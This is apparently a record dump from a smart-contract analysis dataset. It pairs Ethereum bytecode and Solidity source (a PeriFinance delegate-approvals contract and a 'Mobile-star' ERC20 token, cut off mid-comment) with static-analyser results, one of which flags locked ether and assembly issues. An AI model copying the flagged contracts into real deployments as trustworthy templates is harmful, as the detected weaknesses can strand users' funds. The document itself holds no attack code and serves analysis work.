ffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd1398bee19313d6bf672ccb116e51f4a1a947e91c757907f51fbb5b5e56c698f8685604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a3600190509392505050565b6000806124de6040805190810160405280600881526020017f7472616e736665720000000000000000000000000000000000000000000000008152508b8b8b8b8b8b8b611b5e565b90506124f08a8a8a8a8a8a878a613226565b15156124fb57600080fd5b6125078a8a8a8a611710565b151561251257600080fd5b600191505098975050505050505050565b60006125b482600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268682600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279582600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320d90919063ffffffff16565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb85846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156128f557600080fd5b505af1158015612909573d6000803e3d6000fd5b505050506040513d602081101561291f57600080fd5b8101908080519060200190929190505050151561293b57600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567838684600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a160019050949350505050565b600080600080612a808d8d8d8d8d8d8d8d611b5e565b9250731bf797219482a29013d804ad96d1c6f84fba4c456319045a2584876040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612b17578082015181840152602081019050612afc565b50505050905090810190601f168015612b445780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b158015612b6257600080fd5b505af4158015612b76573d6000803e3d6000fd5b505050506040513d6020811015612b8c57600080fd5b810190808051906020019092919050505091508b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515612bd957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168c73ffffffffffffffffffffffffffffffffffffffff16141515612c1357600080fd5b600560008460001916600019168152602001908152602001600020549050600260056000856000191660001916815260200190815260200160002081905550600081141515612c6157600080fd5b600193505050509998505050505050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612cfb57600080fd5b8473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612d9657600080fd5b505af1158015612daa573d6000803e3d6000fd5b505050506040513d6020811015612dc057600080fd5b81019080805190602001909291905050509150612e25600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361320d90919063ffffffff16565b9050808411151515612e3357fe5b8473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015612ef757600080fd5b505af1158015612f0b573d6000803e3d6000fd5b505050506040513d6020811015612f2157600080fd5b81019080805190602001909291905050501515612f3d57600080fd5b60019250505092915050565b600080612f5c8b8b8b8b8b8b8b8b611b5e565b9050612f6e8a8a8a8a8a8a878a613226565b1515612f7957600080fd5b8873ffffffffffffffffffffffffffffffffffffffff16638f4ffcb18b898b8f6040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561306e578082015181840152602081019050613053565b50505050905090810190601f16801561309b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156130bd57600080fd5b505af11580156130d1573d6000803e3d6000fd5b5050505060019150509998505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561314257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600082821115151561321b57fe5b818303905092915050565b6000806000731bf797219482a29013d804ad96d1c6f84fba4c456319045a2586866040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132c05780820151818401526020810190506132a5565b50505050905090810190601f1680156132ed5780820380516001836020036101000a031916815260200191505b50935050505060206040518083038186803b15801561330b57600080fd5b505af415801561331f573d6000803e3d6000fd5b505050506040513d602081101561333557600080fd5b810190808051906020019092919050505091508173ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff1614151561338257600080fd5b8543111561338f57600080fd5b6005600086600019166000191681526020019081526020016000205490506001600560008760001916600019168152602001908152602001600020819055506000811415156133dd57600080fd5b86600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a61338a604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a36135408b338b8a611710565b151561354b57600080fd5b87600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508873ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fa0175360a15bca328baf7ea85c7b784d58b222a50d0ce760b10dba336d226a618c8b604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a360019250505098975050505050505050565b60008082840190508381101515156136c857fe5b80915050929150505600a165627a7a72305820781f80b94309c349b0bfb4f36e61245466fffaf5b13974db24667e12fd4f6fdc0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,152
0xbAF488D47341a9679913748cE62268dD76bBb09F
/* ___ _ ___ _ | .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___ | _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._> |_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___. * PeriFinance: DelegateApprovals.sol * * Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/DelegateApprovals.sol * Docs: Will be added in the future. * https://docs.peri.finance/contracts/source/contracts/DelegateApprovals * * Contract Dependencies: * - IDelegateApprovals * - Owned * - State * Libraries: (none) * * MIT License * =========== * * Copyright (c) 2021 PeriFinance * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity 0.5.16; // https://docs.peri.finance/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // https://docs.peri.finance/contracts/source/interfaces/idelegateapprovals interface IDelegateApprovals { // Views function canBurnFor(address authoriser, address delegate) external view returns (bool); function canIssueFor(address authoriser, address delegate) external view returns (bool); function canClaimFor(address authoriser, address delegate) external view returns (bool); function canExchangeFor(address authoriser, address delegate) external view returns (bool); // Mutative function approveAllDelegatePowers(address delegate) external; function removeAllDelegatePowers(address delegate) external; function approveBurnOnBehalf(address delegate) external; function removeBurnOnBehalf(address delegate) external; function approveIssueOnBehalf(address delegate) external; function removeIssueOnBehalf(address delegate) external; function approveClaimOnBehalf(address delegate) external; function removeClaimOnBehalf(address delegate) external; function approveExchangeOnBehalf(address delegate) external; function removeExchangeOnBehalf(address delegate) external; } // Inheritance // https://docs.peri.finance/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.peri.finance/contracts/source/contracts/eternalstorage /** * @notice This contract is based on the code available from this blog * https://blog.colony.io/writing-upgradeable-contracts-in-solidity-6743f0eecc88/ * Implements support for storing a keccak256 key and value pairs. It is the more flexible * and extensible option. This ensures data schema changes can be implemented without * requiring upgrades to the storage contract. */ contract EternalStorage is Owned, State { constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== DATA TYPES ========== */ mapping(bytes32 => uint) internal UIntStorage; mapping(bytes32 => string) internal StringStorage; mapping(bytes32 => address) internal AddressStorage; mapping(bytes32 => bytes) internal BytesStorage; mapping(bytes32 => bytes32) internal Bytes32Storage; mapping(bytes32 => bool) internal BooleanStorage; mapping(bytes32 => int) internal IntStorage; // UIntStorage; function getUIntValue(bytes32 record) external view returns (uint) { return UIntStorage[record]; } function setUIntValue(bytes32 record, uint value) external onlyAssociatedContract { UIntStorage[record] = value; } function deleteUIntValue(bytes32 record) external onlyAssociatedContract { delete UIntStorage[record]; } // StringStorage function getStringValue(bytes32 record) external view returns (string memory) { return StringStorage[record]; } function setStringValue(bytes32 record, string calldata value) external onlyAssociatedContract { StringStorage[record] = value; } function deleteStringValue(bytes32 record) external onlyAssociatedContract { delete StringStorage[record]; } // AddressStorage function getAddressValue(bytes32 record) external view returns (address) { return AddressStorage[record]; } function setAddressValue(bytes32 record, address value) external onlyAssociatedContract { AddressStorage[record] = value; } function deleteAddressValue(bytes32 record) external onlyAssociatedContract { delete AddressStorage[record]; } // BytesStorage function getBytesValue(bytes32 record) external view returns (bytes memory) { return BytesStorage[record]; } function setBytesValue(bytes32 record, bytes calldata value) external onlyAssociatedContract { BytesStorage[record] = value; } function deleteBytesValue(bytes32 record) external onlyAssociatedContract { delete BytesStorage[record]; } // Bytes32Storage function getBytes32Value(bytes32 record) external view returns (bytes32) { return Bytes32Storage[record]; } function setBytes32Value(bytes32 record, bytes32 value) external onlyAssociatedContract { Bytes32Storage[record] = value; } function deleteBytes32Value(bytes32 record) external onlyAssociatedContract { delete Bytes32Storage[record]; } // BooleanStorage function getBooleanValue(bytes32 record) external view returns (bool) { return BooleanStorage[record]; } function setBooleanValue(bytes32 record, bool value) external onlyAssociatedContract { BooleanStorage[record] = value; } function deleteBooleanValue(bytes32 record) external onlyAssociatedContract { delete BooleanStorage[record]; } // IntStorage function getIntValue(bytes32 record) external view returns (int) { return IntStorage[record]; } function setIntValue(bytes32 record, int value) external onlyAssociatedContract { IntStorage[record] = value; } function deleteIntValue(bytes32 record) external onlyAssociatedContract { delete IntStorage[record]; } } // Inheritance // Internal references // https://docs.peri.finance/contracts/source/contracts/delegateapprovals contract DelegateApprovals is Owned, IDelegateApprovals { bytes32 public constant BURN_FOR_ADDRESS = "BurnForAddress"; bytes32 public constant ISSUE_FOR_ADDRESS = "IssueForAddress"; bytes32 public constant CLAIM_FOR_ADDRESS = "ClaimForAddress"; bytes32 public constant EXCHANGE_FOR_ADDRESS = "ExchangeForAddress"; bytes32 public constant APPROVE_ALL = "ApproveAll"; bytes32[5] private _delegatableFunctions = [ APPROVE_ALL, BURN_FOR_ADDRESS, ISSUE_FOR_ADDRESS, CLAIM_FOR_ADDRESS, EXCHANGE_FOR_ADDRESS ]; /* ========== STATE VARIABLES ========== */ EternalStorage public eternalStorage; constructor(address _owner, EternalStorage _eternalStorage) public Owned(_owner) { eternalStorage = _eternalStorage; } /* ========== VIEWS ========== */ // Move it to setter and associatedState // util to get key based on action name + address of authoriser + address for delegate function _getKey( bytes32 _action, address _authoriser, address _delegate ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_action, _authoriser, _delegate)); } // hash of actionName + address of authoriser + address for the delegate function canBurnFor(address authoriser, address delegate) external view returns (bool) { return _checkApproval(BURN_FOR_ADDRESS, authoriser, delegate); } function canIssueFor(address authoriser, address delegate) external view returns (bool) { return _checkApproval(ISSUE_FOR_ADDRESS, authoriser, delegate); } function canClaimFor(address authoriser, address delegate) external view returns (bool) { return _checkApproval(CLAIM_FOR_ADDRESS, authoriser, delegate); } function canExchangeFor(address authoriser, address delegate) external view returns (bool) { return _checkApproval(EXCHANGE_FOR_ADDRESS, authoriser, delegate); } function approvedAll(address authoriser, address delegate) public view returns (bool) { return eternalStorage.getBooleanValue(_getKey(APPROVE_ALL, authoriser, delegate)); } // internal function to check approval based on action // if approved for all actions then will return true // before checking specific approvals function _checkApproval( bytes32 action, address authoriser, address delegate ) internal view returns (bool) { if (approvedAll(authoriser, delegate)) return true; return eternalStorage.getBooleanValue(_getKey(action, authoriser, delegate)); } /* ========== SETTERS ========== */ // Approve All function approveAllDelegatePowers(address delegate) external { _setApproval(APPROVE_ALL, msg.sender, delegate); } // Removes all delegate approvals function removeAllDelegatePowers(address delegate) external { for (uint i = 0; i < _delegatableFunctions.length; i++) { _withdrawApproval(_delegatableFunctions[i], msg.sender, delegate); } } // Burn on behalf function approveBurnOnBehalf(address delegate) external { _setApproval(BURN_FOR_ADDRESS, msg.sender, delegate); } function removeBurnOnBehalf(address delegate) external { _withdrawApproval(BURN_FOR_ADDRESS, msg.sender, delegate); } // Issue on behalf function approveIssueOnBehalf(address delegate) external { _setApproval(ISSUE_FOR_ADDRESS, msg.sender, delegate); } function removeIssueOnBehalf(address delegate) external { _withdrawApproval(ISSUE_FOR_ADDRESS, msg.sender, delegate); } // Claim on behalf function approveClaimOnBehalf(address delegate) external { _setApproval(CLAIM_FOR_ADDRESS, msg.sender, delegate); } function removeClaimOnBehalf(address delegate) external { _withdrawApproval(CLAIM_FOR_ADDRESS, msg.sender, delegate); } // Exchange on behalf function approveExchangeOnBehalf(address delegate) external { _setApproval(EXCHANGE_FOR_ADDRESS, msg.sender, delegate); } function removeExchangeOnBehalf(address delegate) external { _withdrawApproval(EXCHANGE_FOR_ADDRESS, msg.sender, delegate); } function _setApproval( bytes32 action, address authoriser, address delegate ) internal { require(delegate != address(0), "Can't delegate to address(0)"); eternalStorage.setBooleanValue(_getKey(action, authoriser, delegate), true); emit Approval(authoriser, delegate, action); } function _withdrawApproval( bytes32 action, address authoriser, address delegate ) internal { // Check approval is set otherwise skip deleting approval if (eternalStorage.getBooleanValue(_getKey(action, authoriser, delegate))) { eternalStorage.deleteBooleanValue(_getKey(action, authoriser, delegate)); emit WithdrawApproval(authoriser, delegate, action); } } function setEternalStorage(EternalStorage _eternalStorage) external onlyOwner { require(address(_eternalStorage) != address(0), "Can't set eternalStorage to address(0)"); eternalStorage = _eternalStorage; emit EternalStorageUpdated(address(eternalStorage)); } /* ========== EVENTS ========== */ event Approval(address indexed authoriser, address delegate, bytes32 action); event WithdrawApproval(address indexed authoriser, address delegate, bytes32 action); event EternalStorageUpdated(address newEternalStorage); }
0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80638da5cb5b116100de578063b5bb561911610097578063c5e17ab011610071578063c5e17ab014610487578063d8eeb7c11461048f578063e32b3f5214610497578063faf431bb1461049f5761018e565b8063b5bb561914610415578063b9156efa1461043b578063bc87acbf146104615761018e565b80638da5cb5b1461038357806398ff9c541461038b5780639c79ce35146103935780639cbc2ebe146103b95780639f61d336146103c1578063b42e0f15146103e75761018e565b8063447fbc631161014b5780636c8bc9fe116101255780636c8bc9fe146103015780636f95200b1461032757806379ba50971461034d5780637d3f0ba2146103555761018e565b8063447fbc631461029157806353a47bb7146102b757806359cec3d6146102db5761018e565b806304872617146101935780631627540c146101d557806321f4ae57146101fd5780632c70aecf1461022b5780634180e5b514610245578063431ce5401461026b575b600080fd5b6101c1600480360360408110156101a957600080fd5b506001600160a01b03813581169160200135166104cd565b604080519115158252519081900360200190f35b6101fb600480360360208110156101eb57600080fd5b50356001600160a01b03166104f3565b005b6101c16004803603604081101561021357600080fd5b506001600160a01b038135811691602001351661054f565b61023361056e565b60408051918252519081900360200190f35b6101fb6004803603602081101561025b57600080fd5b50356001600160a01b0316610584565b6101fb6004803603602081101561028157600080fd5b50356001600160a01b03166105a4565b6101fb600480360360208110156102a757600080fd5b50356001600160a01b03166105c1565b6102bf6105e1565b604080516001600160a01b039092168252519081900360200190f35b6101fb600480360360208110156102f157600080fd5b50356001600160a01b03166105f0565b6101fb6004803603602081101561031757600080fd5b50356001600160a01b031661060c565b6101fb6004803603602081101561033d57600080fd5b50356001600160a01b0316610629565b6101fb61065a565b6101c16004803603604081101561036b57600080fd5b506001600160a01b0381358116916020013516610716565b6102bf610734565b6102bf610743565b6101fb600480360360208110156103a957600080fd5b50356001600160a01b0316610752565b61023361076e565b6101fb600480360360208110156103d757600080fd5b50356001600160a01b031661077f565b6101c1600480360360408110156103fd57600080fd5b506001600160a01b038135811691602001351661079c565b6101fb6004803603602081101561042b57600080fd5b50356001600160a01b031661082f565b6101fb6004803603602081101561045157600080fd5b50356001600160a01b03166108d6565b6101fb6004803603602081101561047757600080fd5b50356001600160a01b03166108f6565b61023361090e565b610233610924565b61023361093d565b6101c1600480360360408110156104b557600080fd5b506001600160a01b0381358116916020013516610952565b60006104ec6e4973737565466f724164647265737360881b8484610970565b9392505050565b6104fb610a0d565b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f906a1c6bd7e3091ea86693dd029a831c19049ce77f1dce2ce0bab1cacbabce229181900360200190a150565b60006104ec6e436c61696d466f724164647265737360881b8484610970565b6e4973737565466f724164647265737360881b81565b6105a16e436c61696d466f724164647265737360881b3383610a58565b50565b6105a16e4973737565466f724164647265737360881b3383610b78565b6105a17145786368616e6765466f724164647265737360701b3383610a58565b6001546001600160a01b031681565b6105a16d4275726e466f724164647265737360901b3383610b78565b6105a16e436c61696d466f724164647265737360881b3383610b78565b60005b60058110156106565761064e6002826005811061064557fe5b01543384610b78565b60010161062c565b5050565b6001546001600160a01b031633146106a35760405162461bcd60e51b8152600401808060200182810382526035815260200180610d256035913960400191505060405180910390fd5b600054600154604080516001600160a01b03938416815292909116602083015280517fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c9281900390910190a160018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006104ec6d4275726e466f724164647265737360901b8484610970565b6000546001600160a01b031681565b6007546001600160a01b031681565b6105a16d4275726e466f724164647265737360901b3383610a58565b69105c1c1c9bdd99505b1b60b21b81565b6105a16e4973737565466f724164647265737360881b3383610a58565b6007546000906001600160a01b03166317e7dd226107c869105c1c1c9bdd99505b1b60b21b8686610cb2565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156107fc57600080fd5b505afa158015610810573d6000803e3d6000fd5b505050506040513d602081101561082657600080fd5b50519392505050565b610837610a0d565b6001600160a01b03811661087c5760405162461bcd60e51b8152600401808060200182810382526026815260200180610cff6026913960400191505060405180910390fd5b600780546001600160a01b0319166001600160a01b03838116919091179182905560408051929091168252517fe3ebe3d58e84fbd094152babb730cf99a14b47f65ed04f35a3bd6356f8161a17916020908290030190a150565b6105a17145786368616e6765466f724164647265737360701b3383610b78565b6105a169105c1c1c9bdd99505b1b60b21b3383610a58565b6e436c61696d466f724164647265737360881b81565b7145786368616e6765466f724164647265737360701b81565b6d4275726e466f724164647265737360901b81565b60006104ec7145786368616e6765466f724164647265737360701b84845b600061097c838361079c565b15610989575060016104ec565b6007546001600160a01b03166317e7dd226109a5868686610cb2565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156109d957600080fd5b505afa1580156109ed573d6000803e3d6000fd5b505050506040513d6020811015610a0357600080fd5b5051949350505050565b6000546001600160a01b03163314610a565760405162461bcd60e51b815260040180806020018281038252602f815260200180610d5a602f913960400191505060405180910390fd5b565b6001600160a01b038116610ab3576040805162461bcd60e51b815260206004820152601c60248201527f43616e27742064656c656761746520746f206164647265737328302900000000604482015290519081900360640190fd5b6007546001600160a01b0316633eba9ed2610acf858585610cb2565b60016040518363ffffffff1660e01b8152600401808381526020018215151515815260200192505050600060405180830381600087803b158015610b1257600080fd5b505af1158015610b26573d6000803e3d6000fd5b5050604080516001600160a01b03858116825260208201889052825190871694507f36a9e0c1da9cdc6d8f4bd4cb261f9ad6a45eb1641a557ead7530fbeff9a2633693509081900390910190a2505050565b6007546001600160a01b03166317e7dd22610b94858585610cb2565b6040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015610bc857600080fd5b505afa158015610bdc573d6000803e3d6000fd5b505050506040513d6020811015610bf257600080fd5b505115610cad576007546001600160a01b0316633cc1635c610c15858585610cb2565b6040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b158015610c4b57600080fd5b505af1158015610c5f573d6000803e3d6000fd5b5050604080516001600160a01b03858116825260208201889052825190871694507f7e8dc09322ac82342d9dbfd49eb6497fa7ab69ac444f3763a9b8e16530342f4193509081900390910190a25b505050565b6040805160208082018690526bffffffffffffffffffffffff19606086811b82168486015285901b1660548301528251604881840301815260689092019092528051910120939250505056fe43616e27742073657420657465726e616c53746f7261676520746f2061646472657373283029596f75206d757374206265206e6f6d696e61746564206265666f726520796f752063616e20616363657074206f776e6572736869704f6e6c792074686520636f6e7472616374206f776e6572206d617920706572666f726d207468697320616374696f6ea265627a7a72315820f7764db06028d23b4e9bcae32ffa9e3121e39c276d64ac326333338301d3908864736f6c63430005100032
{"success": true, "error": null, "results": {}}
7,153
0x8718a25fdd650b4431230032413143bb97c8b693
// SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'Mobile-star' token contract // // Symbol : mstar // Name : Mobile-star // Total supply: 1 000 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); //require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); // require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this 